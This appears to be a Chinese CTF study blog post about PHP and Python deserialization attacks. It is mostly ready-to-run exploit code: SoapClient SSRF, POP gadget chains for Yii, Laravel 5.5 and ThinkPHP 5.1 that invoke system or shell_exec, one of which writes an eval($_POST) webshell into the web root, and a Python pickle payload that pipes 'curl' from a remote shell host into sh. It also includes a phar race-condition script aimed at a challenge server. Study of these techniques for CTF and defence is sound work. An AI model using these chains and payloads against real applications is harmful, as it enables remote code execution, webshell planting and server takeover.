绕过匹配O:\d

可以将O:8替换为O:+8


原生类的SSRF

<?php
    $payload = "ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
    $client = new SoapClient(null, array('uri'=>'http://127.0.0.1:80/', 'location'=>'http://127.0.0.1:80/flag.php','user_agent'=>$payload));
    echo urlencode(serialize($client));

?>

绕过 __wakeup()

PHP > 7.4

若出现__unserialize()函数,则会自动绕过__wakeup()

PHP < 5.6

CVE


反序列化变量逃逸

原理

在序列化一个类后,替换其字符串导致长度不一致,如

<?php

    class Cmessage{
        public $username="admin";
        public $password="hello";
        public $isVIP = 0;
    }
    function filter($s){
        return str_replace("admin", "hacker", $s);
    }

    $u = new Cmessage();
    $u_ser = serialize($u);
    $u_s = filter($u_ser);
    echo $u_s;
    
?>

结果为O:8:"Cmessage":3:{s:8:"username";s:5:"hacker";s:8:"password";s:5:"hello";s:5:"isVIP";i:0;}

改动被替换的adminhacker

导致长度不变但字符确实多了一个,所以生成足够多的字符可以逃逸指定的字符串。


Session的序列化与反序列化

介绍

PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取$_SESSION数据,都会对数据序列化和反序列化,源码中的session_start的时候会读取session,从而进行反序列化。

三种处理器

php_binary

键名的长度对应的ascii字符+键名+经过serialize()函数序列化的值

<?php
    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION['name'] = 'spoock';
    var_dump();
?>

结果为:
(EOT)names:6:"spoock"; 
由于name长度为4,对应的ascii码值为EOT,故无法显示

php(默认)

键名+竖线(|)+经过serialize()函数处理过的值

<?php
    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION['name'] = 'spoock';
    var_dump();
?>


结果为:
name|s:6:"spoock";

php_serialize

经过serialize()函数处理过的值,会将键名和值当作一个数组序列化


<?php
    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION['name'] = 'spoock';
    var_dump();
?>


结果为:
a:1:{s:4:"name";s:6:"spoock";}

绕过强等于

...
$this->token===$this->password;
...

使用引用,即

$password=&$this->token;

抛出异常的同时执行销毁方法

破坏反序列化结构


YII反序列化链

https://blog.csdn.net/liubi32326/article/details/120755987

第一种绕过思路(__call)

<?php
namespace yii\rest{
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess="system";
            $this->id="calc.exe";

        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;
    class Generator{
        protected $formatters = array();
        public function __construct()
        {
            $this->formatters['close']=[new IndexAction,"run"];
        }
    }

}

namespace yii\db {
    use Faker\Generator;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace {
    $exp=print(urlencode(serialize(new yii\db\BatchQueryResult())));

第二种绕过思路

<?php
    namespace yii\rest{
        class IndexAction {
            public $checkAccess;
            public $id;
            public function __construct()
            {
                $this->checkAccess="system";
                $this->id="calc.exe";

            }
        }
    }
    namespace yii\web{
        use yii\rest\IndexAction;

        class DbSession {
            protected $fields = [];
            public $writeCallback;
            public function __construct()
            {
                $this->writeCallback=[(new IndexAction),"run"];
                $this->fields['1'] = 'aaa';
            }

        }
    }
    namespace yii\db {
        use yii\web\DbSession;

        class BatchQueryResult
        {
            private $_dataReader;
            public function __construct()
            {
                $this->_dataReader=new DbSession();
            }
        }
    }
    namespace {
        $exp=print(urlencode(serialize(new yii\db\BatchQueryResult())));
    }
?>

__wakeup方法

<?php
namespace yii\rest{
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess="system";
            $this->id="calc.exe";

        }
    }
}

namespace Symfony\Component\String{
    use yii\rest\IndexAction;
    class LazyString{
        private $value;
        public function __construct()
        {
            $this->value=[new IndexAction,"run"];
        }

    }
    class UnicodeString{
        protected $string = '';
        public function __construct()
        {
            $this->string=new LazyString;
        }
    }
}
namespace {
    $exp=print(urlencode(serialize(new Symfony\Component\String\UnicodeString())));
}

第四条链子

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-03 21:55:29
# @Last Modified by:   h1xa
# @Last Modified time: 2021-05-04 01:25:28
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', 'echo "<?php eval(\$_POST[1]);phpinfo();?>" >/var/www/html/basic/web/1.php');
    echo(base64_encode(serialize($exp)));
}
?>

Laravel 5.5反序列化链子

第一条

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-05 22:14:15
# @Last Modified by:   h1xa
# @Last Modified time: 2021-05-05 22:21:46
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

    namespace Illuminate\Foundation\Testing{
        class PendingCommand{
            protected $command;
            protected $parameters;
            protected $app;
            public $test;

            public function __construct($command, $parameters,$class,$app)
            {
                $this->command = $command;
                $this->parameters = $parameters;
                $this->test=$class;
                $this->app=$app;
            }
        }
    }

    namespace Illuminate\Auth{
        class GenericUser{
            protected $attributes;
            public function __construct(array $attributes){
                $this->attributes = $attributes;
            }
        }
    }


    namespace Illuminate\Foundation{
        class Application{
            protected $hasBeenBootstrapped = false;
            protected $bindings;

            public function __construct($bind){
                $this->bindings=$bind;
            }
        }
    }

    namespace{
        echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array("tac /flag"),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
    }
?>

第二条

<?php
namespace Illuminate\Broadcasting
{
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($events,$event)
        {
            $this->events =$events;
            $this->event=$event;
        }
    }
}
namespace Illuminate\Validation
{
    class Validator
    {
       public $extensions = [''=>'system'];
    }
}
namespace{
    $b = new Illuminate\Validation\Validator();
    $a = new Illuminate\Broadcasting\PendingBroadcast($b,'dir');
    echo urlencode(serialize($a));
}

第三条

<?php
namespace Illuminate\Broadcasting
{
    class PendingBroadcast
    {
        protected $events;

        function __construct($events)
        {
            $this->events = $events;
        }
    }
}


namespace Illuminate\Notifications
{
    class ChannelManager
    {
        protected $app;
        protected $defaultChannel;
        protected $customCreators;

        function __construct($function, $parameter)
        {
            $this->app = $parameter;
            $this->customCreators = ['nice' => $function];
            $this->defaultChannel = 'nice';
        }
    }
}
namespace{
    $b = new Illuminate\Notifications\ChannelManager('system','whoami');
    $a = new Illuminate\Broadcasting\PendingBroadcast($b);
    echo base64_encode(serialize($a));
}

第四条

<?php

namespace Illuminate\Broadcasting
{
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        function __construct($events, $parameter)
        {
            $this->events = $events;
            $this->event = $parameter;
        }
    }
}
namespace Illuminate\Events
{
    class Dispatcher
    {
        protected $listeners;

        function __construct($function, $parameter)
        {
            $this->listeners = [
                $parameter => [$function]
            ];
        }
    }
}
namespace{
    $b = new Illuminate\Events\Dispatcher('system','whoami');
    $a = new Illuminate\Broadcasting\PendingBroadcast($b,'whoami');
    echo urlencode(serialize($a));
}

ThinkPHP 5.1 反序列化链

第一条链子

<?php
namespace think;
abstract class Model{
    private $data = [];
    private $withAttr = [];
    protected $append = ['4ut15m'=>[]];

    public function __construct($cmd){
        $this->relation = false;
        $this->data = ['4ut15m'=>$cmd];		//任意值,value
        $this->withAttr = ['4ut15m'=>'system'];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{
}


namespace think\process\pipes;
use think\model\Pivot;
class Windows{
    private $files = [];

    public function __construct($cmd){
        $this->files = [new Pivot($cmd)];		//Conversion类
    }

}

$windows = new Windows($argv[1]);
echo urlencode(serialize($windows))."\n";


?>

Python反序列化

import os
import pickle
import base64

class shell():
    def __reduce__(self):
        return (os.system, ('curl https://your-shell.com/101.35.221.145:8889 | sh',))

a = shell()
serialize_a = pickle.dumps(a)
print(base64.b64encode(serialize_a))
# unserialize_a = pickle.loads(serialize_a)




phar包

php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-05 23:17:44
# @Last Modified by:   h1xa
# @Last Modified time: 2021-05-06 00:52:57
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=true;
    public $admin = true;

    public function __construct($f='',$fn=''){
        $this->filename='1;tac fla?.ph?';
        $this->filecontent='';
    }
}


$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

python

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-06 00:54:43
# @Last Modified by:   h1xa
# @Last Modified time: 2021-05-06 01:05:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

import requests
import time
import threading

success = False


# 读取phar包内容
def getPhar(phar):
    with open(phar, 'rb') as p:
        return p.read()


# 写入phar包内容
def writePhar(url, data):
    print('writing...')
    requests.post(url, data)


# 触发unlink的phar反序列化
def unlinkPhar(url, data):
    global success
    print('unlinking...')
    res = requests.post(url, data)
    if 'ctfshow' in res.text and success is False:
        print(res.text)
        success = True


def main():
    global success
    url = 'http://d7f6fa25-4c7a-4ca3-b085-cd8ff44036b8.challenge.ctf.show/'
    phar = getPhar('phar.phar')
    while success is False:
        time.sleep(0.3)
        w = threading.Thread(target=writePhar, args=(url + '?fn=p.phar', phar))
        u = threading.Thread(target=unlinkPhar, args=(url + '?fn=phar://p.phar/test', ''))
        w.start()
        u.start()


if __name__ == '__main__':
    main()

版权声明:本文为amazingman113原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/amazingman113/p/16132991.html